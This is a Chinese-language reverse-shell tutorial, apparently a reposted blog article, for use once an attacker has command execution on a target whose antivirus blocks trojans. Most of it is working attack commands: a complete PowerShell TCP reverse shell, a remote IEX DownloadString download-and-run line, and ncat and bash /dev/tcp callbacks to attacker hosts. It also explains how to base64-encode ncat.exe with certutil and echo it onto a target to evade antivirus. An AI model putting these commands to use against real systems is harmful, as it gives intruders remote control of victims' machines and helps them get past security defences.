一、shell的反弹:
在很多时候,我们得到一个可以执行OS命令的点,但是我们发现可能是杀软的原因导致木马被杀或被拦截了,此时我们就无法上线,但是又能确定是可以出网的,这个时候就可以把shell反弹出来,再看看具体是啥情况
二、各类反弹姿势:
既然是反弹shell,那么肯定是需要有接受方的,一般接收shell的地方都是在我们的VPS上,也可以通过映射后反弹到我们的本地攻击机。
接收一般都是用Ncat来接收的,这个是Linux自带的,所以我们可以在VPS上用nc监听一个端口以接受反弹回来的shell
在VPS上用nc -lvp <port> 来监听vps的一个端口,这里-l是监听,-v是详情,-p后面接端口,如果VPS是Windows系统可以使用netcat.exe -lvp <port>
三、Windows反弹(目标机器为Windows):
1、powershell:
① 长代码:
powershell.exe -nop -c “$client = New-Object Net.Sockets.TCPClient(‘192.168.110.167’,8080);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0) {;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 |Out-String);$sendback2=$sendback + ‘PS’ + (pwd).Path + ‘>’;$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
在可以执行OS的位置直接把长代码复制进去执行(记得把红框内的IP和端口改为VPS的,端口是上面NC开放的),有时候是需要转义的,可以看着情况自己改
然后回到VPS,戳一下回车就发现可以执行目标机器powershell的shell了:
② 短代码
functionInvoke-lltestTcp
{
$client=New-Object Net.Sockets.TCPClient(‘192.168.110.167’,8080)
$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0}
while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0)
{
$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback=(iex $data 2>&1|Out-String)
$sendback2=$sendback + ‘PS’ + (pwd).Path+’>’
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}
长代码太长了,在某些点不能很好的执行,这里我们就把长代码格式化一下封装进函数里面再保存到ps1文件里面。操作也跟长代码相似,修改好IP和端口,然后用powershell的下载执行来反弹shell:
powershell IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.100.50/fantan.ps1’);Invoke-lltestTcp
目标机器:
Vps:
③ 其他脚本
除开上面这种特定功能的代码,在国际上很早就有人用powershell写了非常成熟的套件,这些套件就包括反弹shell。由于他们的全面性,且公开的时间非常长,被各国的黑客们用于渗透,因此这些套件再GitHub上面的地址都被杀软关注了,甚至是套件脚本里面的内容都会被杀、被拦截,当然内容被杀的情况比较少。所以把脚本放到其他存储空间还是很有必要的,想要万无一失最好还是把代码自己抠出来放到自己的VPS上。
Nishang套件:https://github.com/samratashok/nishang
2、Ncat反弹:
有着瑞士军刀之称的Ncat,既可以接受反弹回来的shell,还可以把shell反弹回去。如果你的目标是Windows,那么就要反弹cmdshell
目标机器上操作:
nc -e c:\windows\systemin32\cmd.exe <your-vps-ip> <your-listen-port>
ncat.exe -e cmd.exe 192.168.110.167 8080
ncat简称是nc,这个再Linux上是默认安装的。当然Windows默认不安装ncat,所以需要我们上传一个上去,但有可能我们拿到的只是一个命令执行的点而已,遇到这种情况不要慌,Windows默认安装certuil命令行工具,利用这个工具可以实现从外网下载文件。我们谨慎一点还可以把二进制文件转码成其他编码,如base64,再下载进去。
那么思路就是把ncat.exe等能反弹的二进制文件转码成base64,然后再echo进目标机器,再恢复成二进制文件,就可以正常使用了
① 本地转码:
certutil -encode ncat.exe ncat.base64
② echo的方法:
用subline打开转码好的ncat.base64后,用Ctrl+H打开替换面板(如果是notepad + +打开的话应该是Ctrl+R),然后选中第一行,接着在替换面板选择左上角第一个按钮,然后在Find中输入“^”,在Replace中输入“echo ”,这里别忘了echo后面带个空格,再点击Replace all即可
替换完毕后我们故技重施,这次是在Find中输入“$”,在Replace中输入“ >>c:\\users\\public\\downloads\\ncat.base”,这里要注意两个大于号前面有个空格,然后路径是看情况的,都行:
至于怎么echo,sqlmap里用-shell应该可以,可以去了解一下
③ 把文件一条一条echo上去之后再转回来:
certutil -decode ncat.base64 n.exe
再反弹:
n.exe -e cmd.exe 192.168.110.167 8080
此法在目标环境为深层内网且不通网的同时可利用条件极差的情况下使用
更多关于certutil的用法可看:https://www.cnblogs.com/backlion/p/7325228.html
四、Linux反弹(目标机器为Linux):
Linux反弹shell的本质:https://xz.aliyun.com/t/2549
①Ncat
nc -e /bin/bash 8.8.8.8 8080
②bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
今天的文章bash和shell的区别_反弹shell是什么意思分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/51256.html